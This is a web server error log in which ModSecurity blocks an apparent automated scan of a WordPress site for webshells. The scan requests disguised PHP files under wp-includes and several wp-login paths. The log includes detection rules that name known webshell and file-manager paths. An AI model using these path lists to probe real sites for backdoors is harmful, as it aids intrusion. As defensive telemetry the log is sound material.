[Tue Apr 21 20:30:34.095137 2026] [:error] [pid 35321:tid 35397] [client 45.137.126.45:51793] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aedt6jeHLhVUuu8cVXyPVQAAAE0"]
[Tue Apr 21 20:30:39.467363 2026] [:error] [pid 53832:tid 53849] [client 45.137.126.33:27697] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aedt79zkuxsE_OhM9UJn_gAAAk4"]
[Tue Apr 21 20:30:41.441028 2026] [:error] [pid 53832:tid 53855] [client 45.137.126.20:59151] [client 45.137.126.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aedt8dzkuxsE_OhM9UJoBwAAAlQ"]
[Tue Apr 21 20:30:42.902735 2026] [:error] [pid 35321:tid 35394] [client 45.137.126.8:58313] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aedt8jeHLhVUuu8cVXyPcwAAAEo"]
[Tue Apr 21 20:30:45.844943 2026] [proxy_fcgi:error] [pid 54080:tid 54098] [client 45.137.126.10:35463] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:30:46.341543 2026] [proxy_fcgi:error] [pid 54080:tid 54095] [client 45.137.126.10:35463] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:30:46.831329 2026] [:error] [pid 54080:tid 54102] [client 45.137.126.10:35463] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aedt9ozEbQHHxtmWbaaymAAAAtQ"]
[Tue Apr 21 20:30:47.800917 2026] [:error] [pid 4777:tid 4806] [client 45.137.126.4:53075] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aedt96xXur6bykKyLZSokgAAARI"]
[Tue Apr 21 20:30:52.209975 2026] [:error] [pid 35321:tid 35403] [client 45.137.126.26:33275] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aedt_DeHLhVUuu8cVXyPkQAAAFM"]
[Tue Apr 21 20:30:53.676642 2026] [:error] [pid 35321:tid 35386] [client 45.137.126.29:41389] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aedt_TeHLhVUuu8cVXyPlgAAAEI"]
[Tue Apr 21 20:30:56.118728 2026] [:error] [pid 35321:tid 35393] [client 45.137.126.29:63249] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aeduADeHLhVUuu8cVXyPnQAAAEk"]
[Tue Apr 21 20:31:00.542229 2026] [:error] [pid 53731:tid 53735] [client 45.137.126.46:55705] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aeduBF2I9THUR-bRVGxbywAAAgA"]
[Tue Apr 21 20:31:01.518200 2026] [proxy_fcgi:error] [pid 35321:tid 35389] [client 45.137.126.32:41007] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:31:02.983295 2026] [:error] [pid 35321:tid 35398] [client 45.137.126.32:41007] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aeduBjeHLhVUuu8cVXyPowAAAE4"]
[Tue Apr 21 20:31:06.411411 2026] [proxy_fcgi:error] [pid 53832:tid 53855] [client 45.137.126.19:21279] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:31:07.383372 2026] [:error] [pid 53832:tid 53845] [client 45.137.126.19:21279] [client 45.137.126.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.19, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aeduC9zkuxsE_OhM9UJoGQAAAko"]
[Tue Apr 21 20:31:09.829403 2026] [:error] [pid 53832:tid 53852] [client 45.137.126.19:21279] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aeduDdzkuxsE_OhM9UJoHgAAAlE"]
[Tue Apr 21 20:31:11.296627 2026] [:error] [pid 35321:tid 35405] [client 45.137.126.44:54119] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aeduDzeHLhVUuu8cVXyPtAAAAFU"]
[Tue Apr 21 20:31:14.234387 2026] [:error] [pid 35321:tid 35395] [client 45.137.126.46:61755] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aeduEjeHLhVUuu8cVXyPxgAAAEs"]
[Tue Apr 21 20:31:17.697052 2026] [:error] [pid 35321:tid 35408] [client 45.137.126.37:54029] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aeduFTeHLhVUuu8cVXyP4wAAAFg"]
[Tue Apr 21 20:31:18.678783 2026] [:error] [pid 53978:tid 54002] [client 45.137.126.14:63887] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aeduFp1ivsR4hcOSQbYbAQAAApY"]
[Tue Apr 21 20:31:21.129402 2026] [:error] [pid 35320:tid 35342] [client 45.137.126.44:24405] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aeduGYJW6fdXWO6agMG1UAAAAAw"]
[Tue Apr 21 20:31:23.113131 2026] [proxy_fcgi:error] [pid 53978:tid 53983] [client 45.137.126.52:44041] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:31:23.609776 2026] [:error] [pid 53978:tid 53981] [client 45.137.126.52:44041] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aeduG51ivsR4hcOSQbYbCgAAAoE"]
[Tue Apr 21 20:31:25.080988 2026] [:error] [pid 35321:tid 35395] [client 45.137.126.38:50407] [client 45.137.126.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "aeduHTeHLhVUuu8cVXyP8gAAAEs"]
[Tue Apr 21 20:31:26.058563 2026] [:error] [pid 35320:tid 35331] [client 45.137.126.2:25551] [client 45.137.126.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aeduHoJW6fdXWO6agMG1VAAAAAE"]
[Tue Apr 21 20:31:27.037783 2026] [:error] [pid 35321:tid 35401] [client 45.137.126.32:39169] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aeduHzeHLhVUuu8cVXyP-AAAAFE"]
[Tue Apr 21 20:31:28.015015 2026] [:error] [pid 35321:tid 35396] [client 45.137.126.8:48699] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aeduIDeHLhVUuu8cVXyP_QAAAEw"]
[Tue Apr 21 20:31:28.993097 2026] [:error] [pid 4777:tid 4788] [client 45.137.126.29:28205] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aeduIKxXur6bykKyLZSonQAAAQA"]
[Tue Apr 21 20:31:29.969070 2026] [:error] [pid 35320:tid 35351] [client 45.137.126.31:37343] [client 45.137.126.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aeduIYJW6fdXWO6agMG1VwAAABU"]
[Tue Apr 21 20:31:32.240508 2026] [:error] [pid 53731:tid 53739] [client 45.137.126.7:21445] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aeduJF2I9THUR-bRVGxb8AAAAgQ"]
[Tue Apr 21 20:31:33.212747 2026] [:error] [pid 35320:tid 35342] [client 45.137.126.49:63011] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aeduJYJW6fdXWO6agMG1XQAAAAw"]
[Tue Apr 21 20:31:34.187752 2026] [:error] [pid 53731:tid 53743] [client 45.137.126.40:43691] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aeduJl2I9THUR-bRVGxb-wAAAgg"]
[Tue Apr 21 20:31:35.185751 2026] [:error] [pid 35321:tid 35393] [client 45.137.126.31:49795] [client 45.137.126.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aeduJzeHLhVUuu8cVXyQBAAAAEk"]
[Tue Apr 21 20:31:36.166632 2026] [:error] [pid 35321:tid 35394] [client 45.137.126.39:26817] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aeduKDeHLhVUuu8cVXyQCAAAAEo"]
[Tue Apr 21 20:31:37.155021 2026] [proxy_fcgi:error] [pid 53832:tid 53856] [client 45.137.126.50:60237] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:31:38.634143 2026] [:error] [pid 53832:tid 53842] [client 45.137.126.50:60237] [client 45.137.126.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.50, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aeduKtzkuxsE_OhM9UJoLwAAAkc"]
[Tue Apr 21 20:31:41.102648 2026] [:error] [pid 53832:tid 53839] [client 45.137.126.50:60237] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aeduLdzkuxsE_OhM9UJoNAAAAkQ"]
[Tue Apr 21 20:31:51.023453 2026] [:error] [pid 35320:tid 35336] [client 45.137.126.5:64113] [client 45.137.126.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aeduN4JW6fdXWO6agMG1iQAAAAY"]
[Tue Apr 21 20:31:52.008264 2026] [:error] [pid 35320:tid 35353] [client 45.137.126.47:29467] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aeduOIJW6fdXWO6agMG1jQAAABc"]
[Tue Apr 21 20:31:52.993950 2026] [:error] [pid 35322:tid 35358] [client 45.137.126.11:42155] [client 45.137.126.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aeduOKPoAfV40BTfVKzbIAAAAIE"]
[Tue Apr 21 20:31:56.936323 2026] [:error] [pid 53731:tid 53742] [client 45.137.126.36:57513] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aeduPF2I9THUR-bRVGxchQAAAgc"]
[Tue Apr 21 20:31:57.912917 2026] [:error] [pid 35321:tid 35391] [client 45.137.126.8:58977] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aeduPTeHLhVUuu8cVXyQKAAAAEc"]
[Tue Apr 21 20:31:58.890438 2026] [:error] [pid 53731:tid 53755] [client 45.137.126.35:43669] [client 45.137.126.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aeduPl2I9THUR-bRVGxclgAAAhM"]
[Tue Apr 21 20:32:01.835474 2026] [:error] [pid 35320:tid 35339] [client 45.137.126.23:40529] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aeduQYJW6fdXWO6agMG1nwAAAAk"]
[Tue Apr 21 20:32:03.309055 2026] [:error] [pid 53731:tid 53749] [client 45.137.126.50:40931] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aeduQ12I9THUR-bRVGxcrAAAAg4"]
[Tue Apr 21 20:32:05.262465 2026] [:error] [pid 35320:tid 35340] [client 45.137.126.44:58859] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aeduRYJW6fdXWO6agMG1pgAAAAo"]
[Tue Apr 21 20:32:11.619024 2026] [:error] [pid 35321:tid 35392] [client 45.137.126.12:43975] [client 45.137.126.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aeduSzeHLhVUuu8cVXyQUgAAAEg"]
[Tue Apr 21 20:32:13.093297 2026] [:error] [pid 54080:tid 54087] [client 45.137.126.21:59113] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aeduTYzEbQHHxtmWbaay7AAAAsU"]
[Tue Apr 21 20:32:17.018863 2026] [:error] [pid 35321:tid 35396] [client 45.137.126.30:47371] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aeduUTeHLhVUuu8cVXyQXgAAAEw"]
[Tue Apr 21 20:32:18.982694 2026] [:error] [pid 35321:tid 35394] [client 45.137.126.38:25475] [client 45.137.126.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aeduUjeHLhVUuu8cVXyQYwAAAEo"]
[Tue Apr 21 20:32:21.920762 2026] [:error] [pid 53978:tid 53989] [client 45.137.126.48:50523] [client 45.137.126.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aeduVZ1ivsR4hcOSQbYbaQAAAok"]
[Tue Apr 21 20:32:24.876603 2026] [:error] [pid 35321:tid 35386] [client 45.137.126.49:32297] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aeduWDeHLhVUuu8cVXyQegAAAEI"]
[Tue Apr 21 20:32:26.834709 2026] [:error] [pid 53832:tid 53844] [client 45.137.126.46:28515] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aeduWtzkuxsE_OhM9UJoVQAAAkk"]
[Tue Apr 21 20:32:27.821487 2026] [:error] [pid 53731:tid 53735] [client 45.137.126.23:38731] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aeduW12I9THUR-bRVGxc3QAAAgA"]
